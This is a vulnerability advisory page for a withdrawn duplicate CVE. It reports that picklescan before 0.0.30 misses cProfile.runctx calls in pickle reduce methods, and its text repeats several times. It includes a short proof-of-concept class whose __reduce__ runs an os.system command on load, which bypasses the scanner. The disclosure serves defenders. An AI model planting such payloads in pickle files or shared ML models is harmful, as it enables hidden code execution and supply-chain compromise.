CVE-2025-71378

picklescan before 0.0.30 fails to detect cProfile.runctx function calls in pickle file reduce methods, allowing attackers to execute arbitrary code. Malicious pickle files bypass picklescan detection and execute remote code when loaded via pickle.load().

picklescan before 0.0.30 fails to detect cProfile.runctx function calls in pickle file reduce methods, allowing attackers to execute arbitrary code. Malicious pickle files bypass picklescan detection and execute remote code when loaded via pickle.load().

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-9w88-8rmg-7g2p. This link is maintained to preserve external references.

Original Description

picklescan before 0.0.30 fails to detect cProfile.runctx function calls in pickle file reduce methods, allowing attackers to execute arbitrary code. Malicious pickle files bypass picklescan detection and execute remote code when loaded via pickle.load().

Summary

Using cProfile.runctx function, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to cProfile.runctx function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

import cProfile

class EvilCProfileRunctx:
    def __reduce__(self):
        # cProfile.runctx(cmd, globals, locals) -> exec(cmd, ...)
        return cProfile.runctx, ("__import__('os').system('whoami')", None, None)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

picklescan before 0.0.30 fails to detect cProfile.runctx function calls in pickle file reduce methods, allowing attackers to execute arbitrary code. Malicious pickle files bypass picklescan detection and execute remote code when loaded via pickle.load().

picklescan before 0.0.30 fails to detect cProfile.runctx function calls in pickle file reduce methods, allowing attackers to execute arbitrary code. Malicious pickle files bypass picklescan detection and execute remote code when loaded via pickle.load().

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-9w88-8rmg-7g2p. This link is maintained to preserve external references.

Original Description

picklescan before 0.0.30 fails to detect cProfile.runctx function calls in pickle file reduce methods, allowing attackers to execute arbitrary code. Malicious pickle files bypass picklescan detection and execute remote code when loaded via pickle.load().

picklescan before 0.0.30 fails to detect cProfile.runctx function calls in pickle file reduce methods, allowing attackers to execute arbitrary code. Malicious pickle files bypass picklescan detection and execute remote code when loaded via pickle.load().

Summary

Using cProfile.runctx function, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to cProfile.runctx function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

import cProfile

class EvilCProfileRunctx:
    def __reduce__(self):
        # cProfile.runctx(cmd, globals, locals) -> exec(cmd, ...)
        return cProfile.runctx, ("__import__('os').system('whoami')", None, None)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu